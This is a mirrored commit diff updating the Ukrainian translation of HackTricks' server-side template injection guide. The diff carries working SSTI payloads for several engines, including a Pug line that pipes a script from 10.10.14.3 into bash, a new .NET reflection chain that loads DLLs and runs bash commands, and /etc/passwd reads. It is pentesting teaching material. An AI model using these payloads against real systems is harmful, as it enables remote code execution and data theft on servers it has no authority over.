mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/ssti-server-side-template-injection/READ
This commit is contained in:
parent
a96d95d617
commit
b588b2db00
@ -10,24 +10,24 @@ Jinja - це популярний шаблонний движок, що вико
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
У цьому вразливому коді параметр `name` з запиту користувача безпосередньо передається в шаблон за допомогою функції `render`. Це може потенційно дозволити зловмиснику впровадити шкідливий код у параметр `name`, що призведе до ін'єкції шаблону на стороні сервера.
|
||||
У цьому вразливому коді параметр `name` з запиту користувача безпосередньо передається в шаблон за допомогою функції `render`. Це може потенційно дозволити зловмиснику впровадити шкідливий код у параметр `name`, що призведе до серверної ін'єкції шаблонів.
|
||||
|
||||
Наприклад, зловмисник може створити запит з корисним навантаженням, як це:
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
Пейлоад `{{bad-stuff-here}}` інжектується в параметр `name`. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати движком шаблонів, потенційно отримуючи контроль над сервером.
|
||||
Пейлоад `{{bad-stuff-here}}` впроваджується в параметр `name`. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати движком шаблонів, потенційно отримуючи контроль над сервером.
|
||||
|
||||
Щоб запобігти вразливостям інжекції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарну обробку та валідацію введених даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості.
|
||||
Щоб запобігти вразливостям ін'єкції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарію та валідацію введених користувачем даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості.
|
||||
|
||||
### Виявлення
|
||||
|
||||
Для виявлення інжекції шаблонів на стороні сервера (SSTI) спочатку **фуззинг шаблону** є простим підходом. Це передбачає інжекцію послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналізування відмінностей у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Ознаки вразливості включають:
|
||||
Для виявлення ін'єкції шаблонів на стороні сервера (SSTI) спочатку **фуззинг шаблону** є простим підходом. Це передбачає впровадження послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналізування відмінностей у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Показники вразливості включають:
|
||||
|
||||
- Викинуті помилки, які виявляють вразливість і потенційно движок шаблонів.
|
||||
- Відсутність пейлоаду у відображенні або частини його відсутні, що вказує на те, що сервер обробляє його інакше, ніж звичайні дані.
|
||||
- **Plaintext Context**: Відрізняти від XSS, перевіряючи, чи сервер оцінює вирази шаблону (наприклад, `{{7*7}}`, `${7*7}`).
|
||||
- **Code Context**: Підтвердити вразливість, змінюючи параметри введення. Наприклад, зміна `greeting` у `http://vulnerable-website.com/?greeting=data.username`, щоб перевірити, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача.
|
||||
- **Code Context**: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, зміна `greeting` у `http://vulnerable-website.com/?greeting=data.username`, щоб перевірити, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача.
|
||||
|
||||
#### Фаза ідентифікації
|
||||
|
||||
@ -110,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
|
||||
|
||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||||
```
|
||||
**Freemarker - обхід пісочниці**
|
||||
**Freemarker - Обхід пісочниці**
|
||||
|
||||
⚠️ працює лише на версіях Freemarker нижче 2.3.30
|
||||
```java
|
||||
@ -155,7 +155,7 @@ $out.read()
|
||||
|
||||
### Thymeleaf
|
||||
|
||||
У Thymeleaf загальним тестом на вразливості SSTI є вираз `${7*7}`, який також застосовується до цього шаблонного движка. Для потенційного віддаленого виконання коду можуть бути використані такі вирази:
|
||||
У Thymeleaf загальним тестом на вразливості SSTI є вираз `${7*7}`, який також застосовується до цього шаблонного движка. Для потенційного віддаленого виконання коду можна використовувати такі вирази:
|
||||
|
||||
- SpringEL:
|
||||
|
||||
@ -203,7 +203,7 @@ el-expression-language.md
|
||||
```
|
||||
**Обхід фільтрів**
|
||||
|
||||
Можна використовувати кілька виразів змінних, якщо `${...}` не працює, спробуйте `#{...}`, `*{...}`, `@{...}` або `~{...}`.
|
||||
Можна використовувати кілька змінних виразів, якщо `${...}` не працює, спробуйте `#{...}`, `*{...}`, `@{...}` або `~{...}`.
|
||||
|
||||
- Прочитайте `/etc/passwd`
|
||||
```java
|
||||
@ -242,7 +242,7 @@ print(base_payload + end_payload)
|
||||
- [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
|
||||
- [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
|
||||
|
||||
### Маніпуляція з виглядом Spring (Java)
|
||||
### Spring View Manipulation (Java)
|
||||
```java
|
||||
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
|
||||
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
||||
@ -289,11 +289,11 @@ el-expression-language.md
|
||||
{{'a'.toUpperCase()}} would result in 'A'
|
||||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||||
```
|
||||
Jinjava - це проект з відкритим кодом, розроблений компанією Hubspot, доступний за адресою [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
|
||||
Jinjava - це проект з відкритим вихідним кодом, розроблений компанією Hubspot, доступний за адресою [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
|
||||
|
||||
**Jinjava - Виконання команд**
|
||||
|
||||
Виправлено за допомогою [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
|
||||
Виправлено за [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
|
||||
```java
|
||||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||||
|
||||
@ -319,7 +319,7 @@ Jinjava - це проект з відкритим кодом, розроблен
|
||||
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдено [Jinjava проект на Github](https://github.com/HubSpot/jinjava/).
|
||||
Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдіть [проект Jinjava на Github](https://github.com/HubSpot/jinjava/).
|
||||
```java
|
||||
{{request.isDebug()}}
|
||||
//output: False
|
||||
@ -372,11 +372,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
- `${{7*7}}` - 49
|
||||
- `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані боби) в JavaEE. Вона широко використовується в багатьох технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають:
|
||||
Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані об'єкти) в JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Використовує EL для прив'язки компонентів на сторінках JSF до відповідних даних та дій на сервері.
|
||||
- **JavaServer Pages (JSP)**: EL використовується в JSP для доступу та маніпуляції даними на сторінках JSP, що полегшує зв'язок елементів сторінки з даними програми.
|
||||
- **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперебійної взаємодії між веб-шаром та керованими бобами, що забезпечує більш узгоджену структуру програми.
|
||||
- **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперешкодної взаємодії між веб-шаром та керованими об'єктами, що забезпечує більш узгоджену структуру програми.
|
||||
|
||||
Перегляньте наступну сторінку, щоб дізнатися більше про **експлуатацію EL інтерпретаторів**:
|
||||
|
||||
@ -429,7 +429,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||
```
|
||||
**Більше інформації**
|
||||
|
||||
- У розділі Smarty [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- У розділі Smarty на [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
|
||||
|
||||
### Twig (PHP)
|
||||
@ -693,7 +693,7 @@ URLencoded:
|
||||
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
|
||||
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
|
||||
|
||||
**Приклад серверного рендерингу**
|
||||
**Приклад рендерингу на стороні сервера**
|
||||
```javascript
|
||||
var pugjs = require("pug")
|
||||
home = pugjs.render(injected_page)
|
||||
@ -887,7 +887,7 @@ ${x}
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
|
||||
|
||||
### Інше Python
|
||||
### Інші Python
|
||||
|
||||
<figure><img src="../../images/image (2) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
@ -900,7 +900,7 @@ ${x}
|
||||
- `@(2+2) <= Успіх`
|
||||
- `@() <= Успіх`
|
||||
- `@("{{code}}") <= Успіх`
|
||||
- `@ <=Успіх`
|
||||
- `@ <= Успіх`
|
||||
- `@{} <= ПОМИЛКА!`
|
||||
- `@{ <= ПОМИЛКА!`
|
||||
- `@(1+2)`
|
||||
@ -928,6 +928,23 @@ ${x}
|
||||
|
||||
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||||
|
||||
### .Net Обхід обмежень
|
||||
|
||||
Механізми .NET Reflection можуть бути використані для обходу чорного списку або класів, які відсутні в збірці. DLL можуть бути завантажені під час виконання з методами та властивостями, доступними з базових об'єктів.
|
||||
|
||||
Dll можуть бути завантажені за допомогою:
|
||||
|
||||
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - з файлової системи.
|
||||
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - безпосередньо з запиту.
|
||||
|
||||
Повне виконання команди:
|
||||
```
|
||||
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
|
||||
```
|
||||
**Більше інформації**
|
||||
|
||||
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
|
||||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
Навіть якщо це Perl, він використовує теги, як ERB у Ruby.
|
||||
@ -940,23 +957,23 @@ ${x}
|
||||
```
|
||||
### SSTI в GO
|
||||
|
||||
У шаблонному двигуні Go підтвердження його використання можна здійснити за допомогою специфічних payloads:
|
||||
У шаблонному двигуні Go підтвердження його використання можна здійснити за допомогою специфічних payload:
|
||||
|
||||
- `{{ . }}`: Відкриває структуру даних. Наприклад, якщо передано об'єкт з атрибутом `Password`, `{{ .Password }}` може його розкрити.
|
||||
- `{{printf "%s" "ssti" }}`: Очікується, що відобразить рядок "ssti".
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Ці payloads повинні повернути "ssti" без додавання "html" або "js". Додаткові директиви можна дослідити в документації Go [тут](https://golang.org/pkg/text/template).
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Ці payload повинні повернути "ssti" без додавання "html" або "js". Додаткові директиви можна дослідити в документації Go [тут](https://golang.org/pkg/text/template).
|
||||
|
||||
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
||||
|
||||
**XSS Експлуатація**
|
||||
**Експлуатація XSS**
|
||||
|
||||
З пакетом `text/template` XSS може бути простим шляхом вставлення payload безпосередньо. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{"<script>alert(1)</script>"}}` призводить до `<script>alert(1)</script>`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
З пакетом `text/template` XSS може бути простим шляхом безпосереднього вставлення payload. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{"<script>alert(1)</script>"}}` призводить до `<script>alert(1)</script>`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
**RCE Експлуатація**
|
||||
**Експлуатація RCE**
|
||||
|
||||
Експлуатація RCE суттєво відрізняється між `html/template` та `text/template`. Модуль `text/template` дозволяє викликати будь-яку публічну функцію безпосередньо (використовуючи значення “call”), що не дозволено в `html/template`. Документація для цих модулів доступна [тут для html/template](https://golang.org/pkg/html/template/) та [тут для text/template](https://golang.org/pkg/text/template/).
|
||||
Експлуатація RCE суттєво відрізняється між `html/template` та `text/template`. Модуль `text/template` дозволяє безпосередньо викликати будь-яку публічну функцію (використовуючи значення “call”), що не дозволено в `html/template`. Документація для цих модулів доступна [тут для html/template](https://golang.org/pkg/html/template/) та [тут для text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Для RCE через SSTI в Go можна викликати методи об'єкта. Наприклад, якщо наданий об'єкт має метод `System`, що виконує команди, його можна експлуатувати як `{{ .System "ls" }}`. Зазвичай доступ до вихідного коду є необхідним для експлуатації цього, як у наведеному прикладі:
|
||||
```go
|
||||
@ -972,7 +989,7 @@ return string(out)
|
||||
|
||||
### Більше експлойтів
|
||||
|
||||
Перевірте решту [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) для більше експлойтів. Також ви можете знайти цікаву інформацію про теги в [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
Перегляньте решту [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) для отримання більше експлойтів. Також ви можете знайти цікаву інформацію про теги в [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user